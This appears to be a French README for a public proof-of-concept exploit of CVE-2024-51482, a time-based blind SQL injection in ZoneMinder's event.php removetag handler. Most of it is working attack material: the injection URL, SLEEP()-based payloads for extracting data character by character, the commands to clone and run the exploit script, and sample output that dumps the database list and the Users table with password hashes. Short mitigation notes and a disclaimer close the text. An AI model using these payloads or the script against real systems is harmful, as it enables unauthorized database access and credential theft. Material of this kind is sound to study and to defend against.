
ZenoMinder Injection SQL aveugle PoC
CVE-2024-51482 est une vulnérabilité critique d'injection SQL booléenne découverte dans ZoneMinder, un logiciel de vidéosurveillance open-source populaire. Cette faille affecte les versions 1.37.* jusqu'à 1.37.64 et permet à des attaquants authentifiés disposant de faibles privilèges d'exécuter des commandes SQL arbitraires sur le serveur de base de données sous-jacent.
| Métrique | Valeur |
|---|---|
| ID CVE | CVE-2024-51482 |
| Score CVSS | 9.9 (Critique) |
| Vecteur d'attaque | Réseau |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| Périmètre | Modifié |
| Impact | Confidentialité, Intégrité, Disponibilité - ÉLEVÉE |
| Version corrigée | 1.37.65 |
La vulnérabilité réside dans le fichier web/ajax/event.php au sein de la fonction removetag. Le paramètre tid (ID de balise) est directement concaténé dans une requête SQL sans échappement ni paramétrage approprié.
Code vulnérable :
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNÉRABLE !
$rowCount = dbNumRows($sql);
// ...
Code corrigé :
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // Requête paramétrée
Le point d'entrée vulnérable peut être déclenché via :
http://cible/zm/index.php?view=request&request=event&action=removetag&tid=[POINT_D_INJECTION]
Le point d'injection ne renvoie pas directement les résultats de la requête dans la réponse, ce qui rend les attaques UNION classiques impossibles. Il faut donc déduire les informations via des conditions booléennes ou des délais temporels.
Notre exploit utilise l'extraction temporelle avec la fonction SLEEP() :
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
Lorsque cette condition est évaluée à vrai, la base de données dort pendant 2 secondes, créant un délai mesurable dans la réponse HTTP.
ASCII(SUBSTRING()) > MID.SLEEP se déclenche.Exemple de charge utile pour extraire le caractère à la position 1 :
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# Cloner le dépôt
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# Rendre le script exécutable
chmod +x CVE-2024-51482.py
# Installer les dépendances requises
pip3 install requests
# Tester si la cible est vulnérable
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --test
# Découvrir toutes les bases de données
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --discover
# Lister les tables dans une base de données spécifique
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --tables zm
# Lister les colonnes dans une table spécifique
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --columns zm Users
# Vider les données de colonnes spécifiques
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --dump zm Users "Username,Password"
# Vider la table des utilisateurs (par défaut)
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users
# Activer le débogage pour un processus d'extraction détaillé
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users --debug
# Ajuster le temps de sommeil pour une extraction plus fiable
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users --sleep 3
# Désactiver la sortie colorée
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users --no-color
Exemple 1 : Test de vulnérabilité
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - Exploit d'injection SQL aveugle dans ZoneMinder
[*] Cible : 192.168.1.100
[*] Connexion en tant qu'admin sur 192.168.1.100...
[+] Connexion réussie
[*] Mesure du temps de réponse de référence...
[*] Médiane de référence : 0.058s
[*] Test de la vulnérabilité avec un sommeil de 2s...
[+] La cible est vulnérable !
Exemple 2 : Énumération des bases de données
$ python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --discover
[*] CVE-2024-51482 - Exploit d'injection SQL aveugle dans ZoneMinder
[*] Cible : <hôte-cible>
[*] Connexion en tant qu'admin sur <hôte-cible>...
[+] Connexion réussie
[*] Mesure du temps de réponse de référence...
[*] Médiane de référence : 0.065s
[*] Test de la vulnérabilité avec un sommeil de 2s...
[+] La cible est vulnérable !
[*] Énumération des bases de données...
[+] Base de données trouvée : information_schema
[+] Base de données trouvée : performance_schema
[+] Base de données trouvée : zm
[+] Bases de données trouvées :
1. information_schema
2. performance_schema
3. zm
Exemple 3 : Récupération des identifiants utilisateur
$ python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --users
[*] CVE-2024-51482 - Exploit d'injection SQL aveugle dans ZoneMinder
[*] Cible : <hôte-cible>
[*] Connexion en tant qu'admin sur <hôte-cible>...
[+] Connexion réussie
[*] Mesure du temps de réponse de référence...
[*] Médiane de référence : 0.062s
[*] Test de la vulnérabilité avec un sommeil de 2s...
[+] La cible est vulnérable !
[*] Récupération de la table Users de la base zm...
[*] Énumération des colonnes dans 'zm.Users'...
[+] Colonne trouvée : Id
[+] Colonne trouvée : Username
[+] Colonne trouvée : Password
[+] Colonne trouvée : Language
[+] Colonne trouvée : Enabled
[*] Récupération des données de 'zm.Users'...
[+] Ligne 1 : {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] Ligne 2 : {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] Utilisateurs extraits : 2
Utilisateur : admin
Mot de passe : $2y$10$...hashed...
Email : admin@localhost
Activé : 1
Utilisateur : operator
Mot de passe : $2y$10$...hashed...
Email : operator@localhost
Activé : 1
Exemple 4 : Extraction de données personnalisée
# Récupérer des colonnes spécifiques de la table Events
python3 CVE-2024-51482.py -i <hôte-cible> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) pour vérifier que l'injection fonctionne.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEP se déclenche → Réponse retardée.sudo apt-get update
sudo apt-get install zoneminder
# Configuration Apache
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
Cet outil est fourni uniquement à des fins éducatives et de test de sécurité. Tester des systèmes informatiques sans autorisation est illégal. Obtenez toujours une autorisation appropriée avant de tester un système.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| Métrique | Valeur |
|---|
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| Périmètre | Modifié |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Élevée |